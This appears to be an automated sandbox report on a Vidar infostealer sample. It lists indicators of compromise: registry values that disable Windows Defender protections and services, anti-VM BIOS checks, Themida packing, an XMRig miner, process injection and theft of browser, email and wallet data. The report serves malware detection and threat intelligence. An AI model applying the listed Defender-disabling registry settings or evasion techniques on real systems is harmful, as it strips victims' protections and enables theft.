vidar | 3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 28 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRawWriteNotification = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\LocalSettingOverrideDisableBehaviorMonitoring = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\LocalSettingOverrideDisableIOAVProtection = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\LocalSettingOverrideDisableOnAccessProtection = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\LocalSettingOverrideRealtimeScanDirection = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRoutinelyTakingAction = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIntrusionPreventionSystem = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\LocalSettingOverrideDisableIntrusionPreventionSystem = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\LocalSettingOverrideDisableRealtimeMonitoring = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies Windows Defender notification settings 3 TTPs 5 IoCs

defense_evasion trojan

Windows Service

Modify Registry

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1"	reg.exe

Modifies security service 2 TTPs 1 IoCs

defense_evasion

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 5688 created 632	5688	powershell.EXE	5
PID 3520 created 632	3520	powershell.EXE	5

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 5 IoCs

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Chrome145.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Chrome145.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	chrome_144.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updater.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	DNSkppu4gp.exe

XMRig Miner payload 7 IoCs

miner

resource	yara_rule
behavioral2/memory/5596-589-0x0000000140000000-0x000000014082C000-memory.dmp	xmrig
behavioral2/memory/5596-594-0x0000000140000000-0x000000014082C000-memory.dmp	xmrig
behavioral2/memory/5596-592-0x0000000140000000-0x000000014082C000-memory.dmp	xmrig
behavioral2/memory/5596-595-0x0000000140000000-0x000000014082C000-memory.dmp	xmrig
behavioral2/memory/5596-591-0x0000000140000000-0x000000014082C000-memory.dmp	xmrig
behavioral2/memory/5596-590-0x0000000140000000-0x000000014082C000-memory.dmp	xmrig
behavioral2/memory/5596-588-0x0000000140000000-0x000000014082C000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4708	powershell.exe
4936	powershell.exe
5688	powershell.EXE
3520	powershell.EXE

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\etc\hosts	chrome_144.exe
File created	C:\Windows\system32\drivers\etc\hosts	updater.exe

Checks BIOS information in registry 2 TTPs 10 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Chrome145.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	chrome_144.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Chrome145.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	chrome_144.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	DNSkppu4gp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	DNSkppu4gp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Chrome145.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Chrome145.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 5 IoCs

pid	Process
2080	DNSkppu4gp.exe
5652	Chrome145.exe
2276	Chrome145.exe
4220	chrome_144.exe
2968	updater.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Themida packer 37 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x001900000002b497-338.dat	themida
behavioral2/memory/2080-340-0x0000000000500000-0x0000000000F90000-memory.dmp	themida
behavioral2/memory/2080-341-0x0000000000500000-0x0000000000F90000-memory.dmp	themida
behavioral2/memory/2080-342-0x0000000000500000-0x0000000000F90000-memory.dmp	themida
behavioral2/memory/2080-343-0x0000000000500000-0x0000000000F90000-memory.dmp	themida
behavioral2/memory/2080-344-0x0000000000500000-0x0000000000F90000-memory.dmp	themida
behavioral2/memory/2080-346-0x0000000000500000-0x0000000000F90000-memory.dmp	themida
behavioral2/memory/2080-345-0x0000000000500000-0x0000000000F90000-memory.dmp	themida
behavioral2/memory/2080-347-0x0000000000500000-0x0000000000F90000-memory.dmp	themida
behavioral2/memory/5652-364-0x0000000000B30000-0x00000000015C0000-memory.dmp	themida
behavioral2/memory/5652-369-0x0000000000B30000-0x00000000015C0000-memory.dmp	themida
behavioral2/memory/5652-370-0x0000000000B30000-0x00000000015C0000-memory.dmp	themida
behavioral2/memory/5652-371-0x0000000000B30000-0x00000000015C0000-memory.dmp	themida
behavioral2/memory/5652-373-0x0000000000B30000-0x00000000015C0000-memory.dmp	themida
behavioral2/memory/5652-375-0x0000000000B30000-0x00000000015C0000-memory.dmp	themida
behavioral2/memory/5652-374-0x0000000000B30000-0x00000000015C0000-memory.dmp	themida
behavioral2/memory/5652-372-0x0000000000B30000-0x00000000015C0000-memory.dmp	themida
behavioral2/memory/2276-377-0x0000000000B30000-0x00000000015C0000-memory.dmp	themida
behavioral2/memory/2276-379-0x0000000000B30000-0x00000000015C0000-memory.dmp	themida
behavioral2/memory/2276-380-0x0000000000B30000-0x00000000015C0000-memory.dmp	themida
behavioral2/memory/2276-378-0x0000000000B30000-0x00000000015C0000-memory.dmp	themida
behavioral2/memory/2276-382-0x0000000000B30000-0x00000000015C0000-memory.dmp	themida
behavioral2/memory/2276-383-0x0000000000B30000-0x00000000015C0000-memory.dmp	themida
behavioral2/memory/2276-381-0x0000000000B30000-0x00000000015C0000-memory.dmp	themida
behavioral2/memory/2276-384-0x0000000000B30000-0x00000000015C0000-memory.dmp	themida
behavioral2/files/0x001900000002b4ae-403.dat	themida
behavioral2/memory/4220-406-0x00007FF62CB20000-0x00007FF62DAEC000-memory.dmp	themida
behavioral2/memory/4220-405-0x00007FF62CB20000-0x00007FF62DAEC000-memory.dmp	themida
behavioral2/memory/4220-407-0x00007FF62CB20000-0x00007FF62DAEC000-memory.dmp	themida
behavioral2/memory/4220-408-0x00007FF62CB20000-0x00007FF62DAEC000-memory.dmp	themida
behavioral2/memory/4220-481-0x00007FF62CB20000-0x00007FF62DAEC000-memory.dmp	themida
behavioral2/memory/4220-540-0x00007FF62CB20000-0x00007FF62DAEC000-memory.dmp	themida
behavioral2/memory/2968-543-0x00007FF6BBC20000-0x00007FF6BCBEC000-memory.dmp	themida
behavioral2/memory/2968-544-0x00007FF6BBC20000-0x00007FF6BCBEC000-memory.dmp	themida
behavioral2/memory/2968-546-0x00007FF6BBC20000-0x00007FF6BCBEC000-memory.dmp	themida
behavioral2/memory/2968-547-0x00007FF6BBC20000-0x00007FF6BCBEC000-memory.dmp	themida
behavioral2/memory/2968-600-0x00007FF6BBC20000-0x00007FF6BCBEC000-memory.dmp	themida

Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 4 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
Key opened	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
Key opened	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe
Key opened	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	_3fccfe37eeeb3e2c3c09333f7b963f84a3610cca533a0ab3a9ad6c8beb3bf705.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 5 IoCs

defense_evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	DNSkppu4gp.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Chrome145.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Chrome145.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	chrome_144.exe

Modifies Security services 2 TTPs 3 IoCs

Modifies the startup behavior of a security service.

defense_evasion

Modify Registry

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdFilter\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisDrv\Start = "4"	reg.exe

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
5996	powercfg.exe
4264	powercfg.exe
2260	powercfg.exe
596	powercfg.exe
5436	powercfg.exe
3812	powercfg.exe
2324	powercfg.exe
412	powercfg.exe

Drops file in System32 directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\MRT.exe	chrome_144.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	updater.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

pid	Process
2080	DNSkppu4gp.exe
5652	Chrome145.exe
2276	Chrome145.exe
4220	chrome_144.exe
2968	updater.exe

Suspicious use of SetThreadContext 11 IoCs

description	pid	Process	procid_target
PID 5652 set thread context of 6116	5652	Chrome145.exe	157
PID 4220 set thread context of 4156	4220	chrome_144.exe	189
PID 5652 set thread context of 3040	5652	Chrome145.exe	204
PID 2968 set thread context of 3456	2968	updater.exe	226
PID 2968 set thread context of 4348	2968	updater.exe	231
PID 2968 set thread context of 5596	2968	updater.exe	232
PID 5652 set thread context of 6116	5652	Chrome145.exe	157
PID 5652 set thread context of 3080	5652	Chrome145.exe	239
PID 5652 set thread context of 5244	5652	Chrome145.exe	241
PID 5688 set thread context of 6308	5688	powershell.EXE	255
PID 3520 set thread context of 3900	3520	powershell.EXE	260

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\VideoLAN\VLC\COPYING.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ne.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ps.txt	Chrome145.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\THIRDPARTYLICENSEREADME.txt	Chrome145.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\THANKS.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ky.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ko.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pt-br.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tk.txt	Chrome145.exe
File opened for modification	C:\Program Files\Java\jre-1.8\README.txt	Chrome145.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\AccessMessageDismissal.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mng.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fr.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\el.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ga.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\io.txt	Chrome145.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\THIRDPARTYLICENSEREADME-JAVAFX.txt	Chrome145.exe
File opened for modification	C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\en-US\about_Mocking.help.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\gl.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\readme.txt	Chrome145.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\SkypeForBusinessVDI2019_eula.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pa-in.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sr-spl.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sv.txt	Chrome145.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\AugLoop\third-party-notices.txt	Chrome145.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\LivePersonaCard\TPN.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\bg.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\br.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\de.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lv.txt	Chrome145.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\jvm.hprof.txt	Chrome145.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\ClientVolumeLicense2019_eula.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\af.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fa.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ka.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\si.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ast.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\is.txt	Chrome145.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jvisualvm.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hy.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sr-spc.txt	Chrome145.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\ThirdPartyNotices.MSHWLatin.txt	Chrome145.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\ClientARMRefer2019_eula.txt	Chrome145.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\LyncVDI_Eula.txt	Chrome145.exe
File opened for modification	C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\en-US\about_Pester.help.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ar.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sq.txt	Chrome145.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\THIRDPARTYLICENSEREADME-JAVAFX.txt	Chrome145.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\ClientLangPack_eula.txt	Chrome145.exe
File opened for modification	C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\en-US\about_should.help.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hi.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ku.txt	Chrome145.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\AccessRuntime_eula.txt	Chrome145.exe
File opened for modification	C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\en-US\about_TestDrive.help.txt	Chrome145.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\server\Xusage.txt	Chrome145.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\WacLangPack2019Eula.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fi.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ja.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sk.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tt.txt	Chrome145.exe
File opened for modification	C:\Program Files\7-Zip\License.txt	Chrome145.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\THIRDPARTYLICENSEREADME.txt	Chrome145.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\LyncBasic_Eula.txt	Chrome145.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_4.6.3102.0_x64__8wekyb3d8bbwe\ThirdPartyNotices.txt	Chrome145.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\lo\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\sw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\th\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\kk\messages.json	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\gl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\pt_BR\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\mk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\lt\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\sr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\offscreendocument_main.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\en_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\or\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\ta\messages.json	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\msedge_url_fetcher_5244_346992336\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_104_1_0.crx	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\iw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\es_419\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\sq\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\si\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\ar\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\as\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\vi\messages.json	msedge.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\offscreendocument.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\zh_TW\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\hi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\az\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\fr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\dasherSettingSchema.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\service_worker_bin_prod.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\bg\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\gu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\da\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\mr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\et\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\es\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\hr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\zu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\hu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\nl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\ur\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\kn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\de\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\km\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\pt_PT\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\ka\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\id\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5244_1471961035\_locales\uk\messages.json	msedge.exe
